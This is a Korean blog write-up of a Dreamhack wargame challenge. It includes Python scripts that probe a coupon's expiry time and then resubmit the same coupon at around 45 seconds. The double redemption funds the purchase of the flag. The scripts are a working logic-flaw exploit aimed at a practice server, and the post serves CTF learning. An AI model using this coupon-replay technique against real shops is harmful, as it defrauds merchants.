문제 정보
드림이는 빼빼로데이를 맞아 티오리제과에서 빼빼로 구매를 위한 쿠폰을 받았습니다.
하지만 우리의 목적은 FLAG! 그런데 이런, FLAG는 너무 비싸 살 수가 없네요…
쿠폰을 여러 번 발급받고 싶었는데 이것도 불가능해요. 내부자 말에 의하면 사용된 쿠폰을 검사하는 로직이 취약하다는데,
드림이를 도와 FLAG를 구매하세요!
풀이 힌트
1. Coupon Expired Time
문제 풀이
문제를 들어가니, 세션을 발급 받는 페이지가 첫 페이지로 나왔다.
세션을 발급 받을 때 전달된 값을 확인해보니, JSON 형식으로 위와 같은 값을 전달하고 있었다.
값 중 특이하는 것을 보니, coupon_claimed 값이 있는데 이는 쿠폰 사용 여부를 나타는 값으로 보인다.
세션을 발급 받은 후의 모습이다. Shop과 Mypage이 있는데 어떤 기능이 있는지 확인해보겠다.
- SHOP
빼빼로와 Flag 상품을 판매하고 있는 페이지였다. 현재 가진 돈은 0이지만, Flag 상품을 클릭해보겠다.
당연히, 돈이 부족하다고 거절 당했다.
- MYPAGE
페이지를 확인해보니, 쿠폰 발급 및 사용 기능이 있는 페이지로 보인다.
문제 설명을 읽어보면 이곳에서 문제 풀이를 할 수 있는 키워드가 있는 것으로 보인다.
일단 나는 쿠폰을 발급 받아서 사용해보겠다.
세션에 타임 제한이 있어서 블로그에 글 작성 도중에 다시 세션을 발급 받아서 쿠폰 사용 시도하였다.
쿠폰을 사용하니, 1000 파운드가 충전이 되었다.
하지만 1000 파운드로 빼빼로 못 사먹는 세상이라 취약한 부분을 공략해서 Flag 상품을 구입하도록 하겠다.
일단 나는 쿠폰을 발급 받을 때 전달되는 값은 어떤 값인지 확인하였다.
확인해보니, coupon이 /claim에서 전달이 되고 /me에서 전달되는 회원 정보의 coupon_claimed 값이 false에서 true로 변경됐다.
블로그에 사진과 글을 적는데 1분 정도 소요가 됐는데, 쿠폰이 만료가 됐다.
일단 쿠폰의 만료 시간은 60초 이하인 것으로 보인다.
import threading, requests, json, time
url = "http://host1.dreamhack.games:15362"
def sessionAcquire():
sessionRequest = requests.get(url + "/session")
session = json.loads(sessionRequest.text)["session"]
headers = {"Authorization": session}
requests.get(url + "/me", headers=headers)
return session
def couponExpiredTime(sleepTime):
headers = {"Authorization": sessionAcquire()}
couponClaimRequest = requests.get(url + "/coupon/claim", headers=headers)
coupon = json.loads(couponClaimRequest.text)["coupon"]
time.sleep(sleepTime)
headers["coupon"] = coupon
couponSubmitRequest = requests.get(url + "/coupon/submit", headers=headers)
return print(sleepTime, json.loads(couponSubmitRequest.text)["status"])
if __name__ == "__main__":
threads = []
for sleepTime in range(60, 30, -1):
t = threading.Thread(target=couponExpiredTime, args=[sleepTime])
t.start()
threads.append(t)
for thread in threads:
thread.join()
나는 쿠폰 만료 시간을 알아내기 위해 파이썬으로 시간 별로 기다린 후 쿠폰 적용을 시도하겠다.
결과를 확인하니, 46초에서 만료가 된 것을 볼 수 있다. 근데 46초라는 시간은 너무 애매한 시간이다.
아마 만료 시간이 45초인데 소수점까지 고려하지 못한게 아닐까?라는 생각을 했다.
문제의 설명 속에 "사용된 쿠폰을 검사하는 로직이 취약"이라는 문구가 생각이 났고, "혹시 45초 ~ 46초 사이의 시간에 쿠폰을 한번 더 쓰는게 가능하지 않을까?"라는 생각으로 이어졌다.
import requests, json, time
url = "http://host1.dreamhack.games:21879"
def sessionAcquire():
sessionRequest = requests.get(url + "/session")
session = json.loads(sessionRequest.text)["session"]
headers = {"Authorization": session}
requests.get(url + "/me", headers=headers)
return session
def couponSubmit(session, sleepTime):
headers = {"Authorization": session}
couponClaimRequest = requests.get(url + "/coupon/claim", headers=headers)
headers["coupon"] = json.loads(couponClaimRequest.text)["coupon"]
print(requests.get(url + "/coupon/submit", headers=headers).text)
time.sleep(sleepTime)
print(requests.get(url + "/coupon/submit", headers=headers).text)
meRequest = requests.get(url + "/me", headers=headers)
return print(json.loads(meRequest.text)["money"])
if __name__ == "__main__":
session = sessionAcquire()
couponSubmit(session, 45)
파이썬으로 시도한 결과, 성공한 것을 볼 수 있었다.
def couponSubmit(session, sleepTime):
headers = {"Authorization": session}
couponClaimRequest = requests.get(url + "/coupon/claim", headers=headers)
headers["coupon"] = json.loads(couponClaimRequest.text)["coupon"]
print(requests.get(url + "/coupon/submit", headers=headers).text)
time.sleep(sleepTime)
print(requests.get(url + "/coupon/submit", headers=headers).text)
meRequest = requests.get(url + "/me", headers=headers)
print(json.loads(meRequest.text)["money"])
headers = {"Authorization": session}
print(requests.get(url + "/flag/claim", headers=headers).text)
couponSubmit 함수에 쿠폰 2개 사용 후 SHOP 페이지에서 flag 상품을 구매하는 코드를 넣고 다시 시도하였다.
확인한 결과, 구매에 성공하여 flag 값을 획득하는데 성공하였다.
'Wargame > Dreamhack' 카테고리의 다른 글
[Dreamhack Web - Lv 2] crawling (0) | 2021.12.20 |
---|---|
[Dreamhack Web - Lv 2] weblog-1 (0) | 2021.12.14 |
[Dreamhack Web - Lv 2] Flask-Dev (0) | 2021.12.14 |
[Dreamhack Web - Lv 2] blind-command (0) | 2021.12.11 |
[Dreamhack Web - Lv 2] web-ssrf (0) | 2021.12.06 |
Comment